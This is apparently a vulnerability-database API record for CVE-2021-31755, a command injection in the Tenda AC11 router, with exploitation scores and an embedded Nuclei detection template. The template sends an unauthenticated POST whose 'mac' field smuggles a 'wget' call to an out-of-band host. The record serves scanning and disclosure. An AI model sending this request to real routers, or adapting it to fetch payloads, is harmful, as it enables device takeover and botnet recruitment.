{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2021-31755/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2021-31755/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2021-31755/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2021-31755/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2021-31755/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2021-31755"},"sightings":{"href":"/api/v1/sightings/cve-2021-31755"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.86891,"kev":true,"percentile":0.99738},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2021/CVE-2021-31755.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2021-31755\n\ninfo:\n  name: Tenda Router AC11 - Remote Command Injection\n  author: gy741\n  severity: critical\n  description: Tenda Router AC11  is susceptible to remote command injection vulnerabilities in the web-based management interface that could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.\n  impact: |\n    Successful exploitation of this vulnerability could lead to unauthorized access, data exfiltration, and complete compromise of the affected router.\n  remediation: |\n    Apply the latest firmware update provided by Tenda to fix the remote command injection vulnerability (CVE-2021-31755).\n  reference:\n    - https://github.com/Yu3H0/IoT_CVE/tree/main/Tenda/CVE_3\n    - https://www.fortinet.com/blog/threat-research/the-ghosts-of-mirai\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-31755\n    - https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors\n    - https://github.com/Yu3H0/IoT_CVE\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-31755\n    cwe-id: CWE-787\n    epss-score: 0.86891\n    epss-percentile: 0.99738\n    cpe: cpe:2.3:o:tenda:ac11_firmware:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: tenda\n    product: ac11_firmware\n  tags: cve2021,cve,tenda,rce,oast,router,mirai,kev,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /goform/setmac HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{BaseURL}}\n        Referer: {{BaseURL}}/index.htmlr\n        Content-Type: application/x-www-form-urlencoded\n\n        module1=wifiBasicCfg&doubleBandUnityEnable=false&wifiTotalEn=true&wifiEn=true&wifiSSID=Tenda_B0E040&mac=wget+http://{{interactsh-url}}&wifiSecurityMode=WPAWPA2%2FAES&wifiPwd=Password12345&wifiHideSSID=false&wifiEn_5G=true&wifiSSID_5G=Tenda_B0E040_5G&wifiSecurityMode_5G=WPAWPA2%2FAES&wifiPwd_5G=Password12345&wifiHideSSID_5G=false&module2=wifiGuest&guestEn=false&guestEn_5G=false&guestSSID=Tenda_VIP&guestSSID_5G=Tenda_VIP_5G&guestPwd=&guestPwd_5G=&guestValidTime=8&guestShareSpeed=0&module3=wifiPower&wifiPower=high&wifiPower_5G=high&module5=wifiAdvCfg&wifiMode=bgn&wifiChannel=auto&wifiBandwidth=auto&wifiMode_5G=ac&wifiChannel_5G=auto&wifiBandwidth_5G=auto&wifiAntijamEn=false&module6=wifiBeamforming&wifiBeaformingEn=true&module7=wifiWPS&wpsEn=true&wanType=static\n\n    matchers:\n      - type: word\n        part: interactsh_protocol # Confirms the HTTP Interaction\n        words:\n          - \"http\"\n# digest: 4a0a00473045022100ba21c601f856e01d0734aa5e51a4daf8479540d596884cebd91c0dd9cc149f7d022047c5a7474645113a8f11ac0bae4d70f462f5e4ea5bbff362a127f6f27d13011d:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2021-31755"}